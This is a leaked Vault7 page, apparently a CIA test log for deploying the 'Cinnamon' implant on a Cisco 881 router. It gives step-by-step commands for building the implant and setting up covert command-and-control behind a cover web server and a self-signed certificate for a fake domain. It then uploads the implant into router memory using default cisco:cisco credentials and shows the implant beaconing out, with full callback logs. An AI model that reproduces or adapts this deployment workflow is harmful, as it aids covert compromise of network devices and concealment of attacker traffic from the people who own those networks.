Vault7: CIA Hacking Tools Revealed
Navigation: » Latest version
Owner: User #71467
Cinnamon Cisco881 Testing
Cinnamon 881 Testing
The Bakery delivered Cinnamon for the Cisco881 on June 8. Testing Cinnamon for use on an 881 for JQJSECONDCUT. Operator has provided Target device configuration as well as some show commands from the Target. This device is getting DHCPDynamic Host Configuration Protocol from an Internet provider, and is performing NATNetwork Address Translation and DHCPDynamic Host Configuration Protocol server role for inside hosts. This device is also configured for DMVPN, presumably for VOIPVoice over Internet Protocol (Internet telephony) traffic. CONOP will be to use at least two flux nodes, one outside the target network, and then exit and attack from a flux node on the inside LAN.
Testing Summary
- Bacon RPM cannot be installed on ICON - Workaround - compiled bacon on the BuildVM and copied the bacon executable and bacon.cfg files to /opt/bacon on ICON.
- IAC 2.4 does not work with DUTDevice Under Test configuration - transport input ssh. IAC 2.4 requires a telnet connection. Workaround - use IACInternational Access Code 4.1.
- Spicerack error on CentOS 5.6 Blot LPListening Post VMVirtual Machine - /lib/libcrypto.so.0.9.8: no version information available (required by ./spice_rack)
Progress/Notes
Cinnamon Setup Steps:
- Build implant on BuildVM
- Edit /impant/cinnamon.cfg
- Edit LP_DOMAIN_NAME to match the dns entry for the Blot Proxy server - www.suptest.com in our test case
- Edit Tool ID that will be used by beastbox/swindle to identify Cinnamon traffic - 0x9219D10C for our test case (this is arbitrary)
- Edit PROBE_DEST entries so that they all say something that will resolve to web server - www.google.com in our test case
- Create cmn-880-norb.bin file for No Reboot, non-persisten implant
- make clean 880-norb - outputs a folder called 880-norb
- Create modules needed for testing - from /implant/modules directory
- make clean survey-powerpc
- make clean redir-powerpc
- Edit /impant/cinnamon.cfg
- Setup Blot 4.3 on CentOS 5.6 VMs
- Beastbox and Swindle on Blot Proxy
- Copy Blot 4.3 on to Blot Proxy VM
- Install Beastbox and Swindle from rpms
- Edit /etc/blot/beastbox.cfg
- Edit external-ip to be the IP of the Blot Proxy server - 172.20.13.10 in our test case
- Edit th name to spicerackH
- Edit ip to Blot Spicerack server - 172.20.13.11 in our test case
- Remove other th name entries
- Edit server name Apache ip to the Cover Web server for 443 - 172.20.13.20 in our test case
- Edit the server name Apache_2 ip to the Cover Web server for 80 - 172.20.13.20 in our test case
- Edit the server name BINDDNSDomain Name System server software ip to our DNSDomain Name System server for the test - X.X.X.X (LVLT-GOGL-8-8-8[US]) in our test case
- Under itd swindle, edit tid num to Tool ID that has been baked into impant - 0x9219D10C in our test case
- Under itd swindle, edit th to spicerackH
- Remove other itd entries
- Generate a certificate to match the DNSDomain Name System name for Blot Proxy and save to file in /etc/blot/itds/swindle/swindle.crt
- openssl genrsa -out new_key.pem 1024
- openssl req -new -key new_key.pem -out new_req.csr
- openssl x509 -req -days 365 -in new_req.csr -signkey new_key.pem -out new_cert.crt
-
File format for swindle.crt should be the output of 'openssl x509 -in new_cert.crt -noout -text' followed by new_cert.crt:
Certificate:
Data:
Version: 1 (0x0)
Serial Number:
d8:2c:bd:b7:7d:47:4f:fc
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, ST=CA, L=Home Town, O=Super T, OU=HR, CN=www.suptest.com/emailAddress=help@suptest.com
Validity
Not Before: Jun 16 13:05:52 2015 GMT
Not After : Jun 15 13:05:52 2016 GMT
Subject: C=US, ST=CA, L=Home Town, O=Super T, OU=HR, CN=www.suptest.com/emailAddress=help@suptest.co
m
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSAEncryption algorithm Public Key: (1024 bit)
Modulus (1024 bit):
00:d8:2f:b2:59:62:b0:ee:a0:81:8e:38:04:6e:74:
3d:dc:bf:41:99:b5:4c:d4:04:34:1c:83:21:1e:5a:
23:11:ff:7f:a9:5c:51:92:c7:dc:4f:ba:0b:04:09:
07:dd:b6:d6:a1:fa:97:01:34:8f:96:5e:cc:95:3c:
b6:d1:61:8f:8a:a5:5b:ae:c4:05:b5:87:2a:30:4c:
15:02:bb:95:dc:ba:98:bf:ab:d1:39:a0:d1:da:15:
7d:95:48:1b:88:51:96:7c:f2:79:ff:a0:5d:d2:d8:
87:a2:09:47:9c:f0:89:cc:98:57:d9:55:1c:c4:dd:
80:c9:41:17:37:24:fc:89:7d
Exponent: 65537 (0x10001)
Signature Algorithm: sha1WithRSAEncryption
0f:ed:5e:1a:61:98:f7:3a:8e:de:3d:6b:ee:5e:23:e7:24:30:
d2:f1:e3:d5:ec:f4:3c:59:67:9c:e1:0a:25:dd:c4:5a:5b:f4:
82:31:23:9f:ed:d9:fa:59:a2:d5:80:99:a1:1f:bc:19:90:29:
77:16:29:18:25:38:03:a9:0d:54:dd:05:cb:f2:2a:ce:9a:e3:
4d:c0:c1:e7:23:5c:c5:97:cf:94:85:a0:8d:1e:9a:f1:7d:6d:
50:9e:e4:7f:a7:79:3e:8e:c4:a4:c3:51:28:a9:ac:31:dc:e1:
4e:c1:d9:6f:08:99:96:02:ea:d4:79:f6:1e:de:cd:fa:a4:3d:
b7:9d
-----BEGIN CERTIFICATE-----
MIICiTCCAfICCQDYLL23fUdP/DANBgkqhkiG9w0BAQUFADCBiDELMAkGA1UEBhMC
VVMxCzAJBgNVBAgTAkNBMRIwEAYDVQQHEwlIb21lIFRvd24xEDAOBgNVBAoTB1N1
cGVyIFQxCzAJBgNVBAsTAkhSMRgwFgYDVQQDEw93d3cuc3VwdGVzdC5jb20xHzAd
BgkqhkiG9w0BCQEWEGhlbHBAc3VwdGVzdC5jb20wHhcNMTUwNjE2MTMwNTUyWhcN
MTYwNjE1MTMwNTUyWjCBiDELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAkNBMRIwEAYD
VQQHEwlIb21lIFRvd24xEDAOBgNVBAoTB1N1cGVyIFQxCzAJBgNVBAsTAkhSMRgw
FgYDVQQDEw93d3cuc3VwdGVzdC5jb20xHzAdBgkqhkiG9w0BCQEWEGhlbHBAc3Vw
dGVzdC5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBANgvsllisO6ggY44
BG50Pdy/QZm1TNQENByDIR5aIxH/f6lcUZLH3E+6CwQJB9221qH6lwE0j5ZezJU8
ttFhj4qlW67EBbWHKjBMFQK7ldy6mL+r0Tmg0doVfZVIG4hRlnzyef+gXdLYh6IJ
R5zwicyYV9lVHMTdgMlBFzck/Il9AgMBAAEwDQYJKoZIhvcNAQEFBQADgYEAD+1e
GmGY9zqO3j1r7l4j5yQw0vHj1ez0PFlnnOEKJd3EWlv0gjEjn+3Z+lmi1YCZoR+8
GZApdxYpGCU4A6kNVN0Fy/IqzprjTcDB5yNcxZfPlIWgjR6a8X1tUJ7kf6d5Po7E
pMNRKKmsMdzhTsHZbwiZlgLq1Hn2Ht7N+qQ9t50=
-----END CERTIFICATE-----
- Service beastbox start
- Verify that Beastbox is working by web browsing to the Proxy IP and you should get forwarded to the Cover Web server for 80 and 443
- Setup Blot LP
- Copy spicerack, salt, pepper, and scramble rpms onto Blot LP
- Install spicerack, salt, pepper and scramble from rpms
- Run spicerack - /opt/spicerack/spice_rack 2>&1 >/dev/null & - libcrypto.so.0.9.8 error here
- Disbabled iptables to get connection from impant to work - need to add rule to firewall instead of disabling
- Copy Cinnamon network and redirect modules from BuildVM to /opt/pepper/cmds directory on LP
- scp implant/modules/powerpc/redir-powerpc.module root@172.20.13.11:/opt/pepper/cmds/.
- scp implant/modules/powerpc/survey-powerpc.module root@172.20.13.11:/opt/pepper/cmds/.
- CoverWeb server - standard web server for 80 and 443 should be configured
- Beastbox and Swindle on Blot Proxy
-
Setup ICON VM
- Copy bacon rpm to ICON VM
- Install bacon from rpm - error here, had to compile bacon on the Build VMVirtual Machine and copy the executable and .cfg file to ICON /opt/bacon/
-
On Blot LP, use salt to calculate the Node ID
- Copy first 0x80 bytes from Motherboard info in output if IOSApple operating system for small devices command "show diag" on the DUTDevice Under Test into a flie /opt/salt/cookie.txt
- ./salt cookie.txt
- Make a copy of /opt/bacon/bacon.cfg called 881-cfg
-
Edit the 881-cfg file
- Change Node ID (called UNIQUE_ID in this file) calculated by salt - 0xfb583dbf for 881-Top
- Change Toold ID - enter Tool ID that was used with beastbox/swindle - 0x9219D10C in our test case
- Copy the 880-norb folder from BuildVM to ICON using windows share - error message: cp: cannot create symbolic link `/mnt/share/./880-norb/depack.c': Operation not supported
-
Copy the 880-norb folder from BuildVM to ICON using scp to avoid the above error
-
Must initiate SCP from ICON due to iptables - scp -r root@10.9.8.108:/home/cmn-build/cmn-5.0.0/implant/880-norb .
-
Must initiate SCP from ICON due to iptables - scp -r root@10.9.8.108:/home/cmn-build/cmn-5.0.0/implant/880-norb .
-
Copy IACInternational Access Code 4.1 to ICON - it includes remote
-
Setup remote
- su - root
- chmod -R +x data/config/npc3/profile
-
Edit data/config/npc3/target.py
- interpacket time = 0.1
- arch = 'ppc'
- machine = '880'
- Edit target-aliases with IP of target - XXX.XX.XXX.XXX (CABLEVISION[US]) in our test case
- Copy ramUploadAndExecuteCmn800.py from utilities on BuildVM to ICON's NPC3CP-5.2/bin/remote/bin directory
- Generate Seed traffic on the test network - watch -n2 wget -nv -T 1 -O /dev/null http://alias.google.com
- Smoke Test - Install CMN
-
Reload 881 router to start with clean setup
- Sh proc cpu hist = 2% CPU without traffic load
- Sh mem = Total-26214400 :: Used-9686440 :: Free-16527960
-
From Cinnabuild-5.0.0 VM:
- /home/cmn-build/cmn-5.0/implant# make clean 880-norb (script completes and creates 880-norb directory)
-
From Cinnamon-ICON:
- /home/user1# scp -r root@10.9.8.108:/home/cmn-build/cmn-5.0/implant/880-norb/ .
- Enter password and directory copies over
-
/home/user1/IAC 4.1.0/delivery/IAC-4.1.0/bin# ./sshiac-ppc -i XXX.XX.XXX.XXX (CABLEVISION[US]) -l cisco:cisco
- 881 cpu spikes to 99% two different times for about 20 seconds each
- LGDHM codes given and ssh-iac is complete
- /home/user1/IAC 4.1.0/delivery/NPC3CP-5.2/bin/remote# vim target-aliases
- Configure target IP and procid
- #source aliases = remote>
- #broad
- #./seq set 1
- #broad = status OK
[target:XXX.XX.XXX.XXX (CABLEVISION[US])] remote> ./bin/ramUploadAndExecuteCmn800.py /home/user1/880-norb/cmn-880-norb.bin
- "yes"
- file chunks uploaded and reach 100%
- Wait 3 minutes minimum
- sh proc cpu hist: spikes to 11-12% for five seconds about once a minute and then settles in to 4-6% repeatidly
- sh mem = Total-26214400 :: Used-9686440 :: Free-16527960
- /home/user1# scp -r root@10.9.8.108:/home/cmn-build/cmn-5.0/implant/880-norb/ .
-
Reload 881 router to start with clean setup
- Smoke Test - Establish Comms
[root@blot-spicerack log]# tail -f spicerack.log
-
user1@Cinnamon-ICON:/opt/bacon$ sudo ./bacon XXX.XX.XXX.XXX (CABLEVISION[US]) 881.cfg www.suptest.com 443
- Spicerack log shows callback from implant
06/16/2015 13:10:19.065 - Mission2:0:Debug: Socket accept info: client address = 172.20.13.10, port = 32991
06/16/2015 13:10:19.071 - Mission2:11:Info : SESSION STARTED
06/16/2015 13:10:19.071 - Mission2:11:Debug: Connected To: IP address = 172.20.13.10, port = 32991.
06/16/2015 13:10:19.916 - Mission2:11:Debug: +++Packet received (12 bytes).+++
06/16/2015 13:10:19.916 - Mission2:11:Debug: +++Packet received (780 bytes).+++
06/16/2015 13:10:19.916 - Mission2:11:Info : +++Message received (792 bytes).+++
06/16/2015 13:10:19.916 - Mission2:11:Debug: Time packet received = 06/16/2015 13:10:19.916.
06/16/2015 13:10:19.916 - Mission2:11:Debug: Data Length = 708
06/16/2015 13:10:19.917 - Mission2:11:Debug: Tool ID Xor = 3
06/16/2015 13:10:19.917 - Mission2:11:Info : Tool ID = 0x9219d10c
06/16/2015 13:10:19.917 - Mission2:11:Debug: Seed = 0x33fb3f95
06/16/2015 13:10:19.917 - Mission2:11:Debug: Hash = 0x3536
06/16/2015 13:10:19.917 - Mission2:11:Info : Node ID = 0xfb583dbf
06/16/2015 13:10:19.917 - Mission2:11:Debug: Timestamp = 0x000014a4
06/16/2015 13:10:19.917 - Mission2:11:Debug: Module ID = 1
06/16/2015 13:10:19.917 - Mission2:11:Debug: Last Packet Indicator = 1
06/16/2015 13:10:19.932 - Mission2:11:Debug: Payload data length from encrypted header = 692.
06/16/2015 13:10:19.932 - Mission2:11:Debug: Payload data type = 0, data length = 686, data end = 1.
06/16/2015 13:10:19.932 - Mission2:11:Debug: COMMS-H request mission module name = Beacon, ID = 1.
06/16/2015 13:10:19.932 - Mission2:11:Info : +++BTHP REQUEST PACKET 1 RECEIVED - Beacon+++
06/16/2015 13:10:19.932 - Mission2:0:Info : dumpRawPacket: For RCVD_RAW_FILE
06/16/2015 13:10:19.935 - Mission2:11:Info : Dumped raw packet received to file: /opt/spicerack/data/fb583dbf/Beacon/receive/20150616131019_0000000011.raw.
06/16/2015 13:10:19.935 - Mission2:11:Debug: Payload data type = 0, data length = 686, data end = 1.
06/16/2015 13:10:19.938 - Mission2:11:Debug: Writing to receive file /opt/spicerack/data/fb583dbf/Beacon/receive/20150616131019_0000000011.rcvd.
06/16/2015 13:10:19.938 - Mission2:11:Info : Dumped BTHP request string received to file: /opt/spicerack/data/fb583dbf/Beacon/receive/20150616131019_0000000011.rcvd.
06/16/2015 13:10:19.938 - Mission2:11:Info : ---Building COMMS-H signal response(s)---
06/16/2015 13:10:19.938 - Mission2:11:Debug: Parsing .send file for commands.
06/16/2015 13:10:19.939 - Mission2:11:Debug: No commands present. Sending No Op
06/16/2015 13:10:19.939 - Mission2:11:Debug: Total COMMS-H payload length of command(s) reply data = 15
06/16/2015 13:10:19.939 - Mission2:11:Debug: Single packet response, payloadLength = 77, payloadDataLength = 15, lastPacketIndicator = 1
06/16/2015 13:10:19.939 - Mission2:11:Debug: Inserting Tool ID = 0x9219d10c, Tool ID Xor Key Index = 3
06/16/2015 13:10:19.939 - Mission2:11:Debug: Seed = 0x91a54cfe
06/16/2015 13:10:19.939 - Mission2:11:Debug: COMMS-H response auth hash = 0xac54.
06/16/2015 13:10:19.939 - Mission2:11:Debug: Returning built 1 COMMS-H reply packet(s).
06/16/2015 13:10:19.939 - Mission2:11:Debug: BTHP reply payload data length = 77.
06/16/2015 13:10:19.939 - Mission2:11:Debug: hdr_len = 24, data_len = 77.
06/16/2015 13:10:19.939 - Mission2:11:Debug: Before response write, replySize = 101.
06/16/2015 13:10:19.939 - Mission2:11:Debug: ---Packet sent (101/101 bytes).---
06/16/2015 13:10:19.939 - Mission2:11:Info : ---Message sent (101 bytes).---
06/16/2015 13:10:19.939 - Mission2:11:Debug: Time response sent = 06/16/2015 13:10:19.939.
06/16/2015 13:10:19.939 - Mission2:11:Info : ---COMMS-H REPLY SENT (1/1) - ---
06/16/2015 13:10:19.942 - Mission2:11:Info : Dumped raw packet sent to file: /opt/spicerack/data/fb583dbf/Beacon/sent/20150616131019_0000000011.raw.
06/16/2015 13:10:19.945 - Mission2:11:Debug: Writing to sent file /opt/spicerack/data/fb583dbf/Beacon/sent/20150616131019_0000000011.sent.
06/16/2015 13:10:20.916 - Mission2:11:Debug: CLOSING SOCKET 5
06/16/201 5 13:10:20.916 - Mission2:11:Debug: Shutdown connection: IP address = 172.20.13.10, port = 32991.
06/16/2015 13:10:20.917 - Mission2:11:Info : SESSION ENDED- Log file is appended on Blot-Proxy-CentOS 5.6
[root@blot blot]# pwd
/var/log/blot
[root@blot blot]# ls -phal
total 148K
drwxr-xr-x 2 beastbox blot 4.0K Mar 2 06:10 ./
drwxr-xr-x 17 root root 4.0K Jun 16 04:02 ../
-rw-r--r-- 1 beastbox blot 131K Jun 16 09:14 beastbox.log.enc
- Spicerack log shows callback from implant
- Smoke Test - Install/Uninstall Modules
- Smoke Test - Uninstall CMN